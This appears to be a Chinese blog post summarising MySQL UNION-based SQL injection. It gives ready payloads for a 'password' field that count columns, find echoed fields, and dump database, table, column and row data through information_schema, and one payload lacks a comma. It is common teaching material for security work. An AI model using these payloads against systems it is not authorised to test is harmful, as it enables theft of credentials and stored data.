联合注入步骤小结
利用UNION 操作符组合多个语句查询结果收集想要获取的信息
注意:本篇内容以 MySQL 为例,并不完全适用于其他数据库。若存在关键字过滤,需进行对应绕过。
information_schema 库
MySQL(5.0以上版本) 自带的信息数据库,提供了访问数据库元数据的方式
记录所有表名信息的表:information_schema.tables
记录所有列名信息的表:information_schema.columns
数据库名:table_schema
表名:table_name
列名:column_name
枚举字段数
利用 order by 关键词对字段名在表内的默认顺序进行排序确认字段是否存在,如1,2,……,n。当枚举至 n 时出现报错,则共有 n-1 个字段。
password=-1' order by 1,2,3,n #
确认回显字段
利用 union select 确认回显字段
password=-1' union select 1,2,3,n #
收集数据库基础信息
操作系统 --> @@version_compile_os
数据库信息 --> version()
数据库用户 --> user()
数据库名 --> database()
通过与可回显字段替换实现相应查询
password=-1' union select version(),database(),3,n #
收集表名
password=-1' union select group_concat(table_name),2,3,n from information_schema.tables where table_schema=database() #
收集字段名
password=-1' union select group_concat(column_name),2,3,n from information_schema.columns where table_schema=database() and table_name='table name' #
收集对应数据
password=-1' union select group_concat(column name 1,column name 2,column name 3),2,3,n from table name #
利用 information_schema
收集所有数据库名
password=-1' union select group_concat(schema_name),2,3,n from information_schema.schemata #
收集指定数据库的表名
password=-1' union select group_concat(table_name)2,3,n from information_schema.tables where table_schema='schema name' #
收集指定数据库指定表的字段名
password=-1' union select group_concat(column_name),2,3,n from information_schema.columns where table_name='table name' and table_schema='schema name' #
收集指定数据库指定表的指定字段信息
password=-1' union select group_concat(column name 1,column name 2,column name 3),2,3,n from schema name.table name #
评论 ()
TwikooValine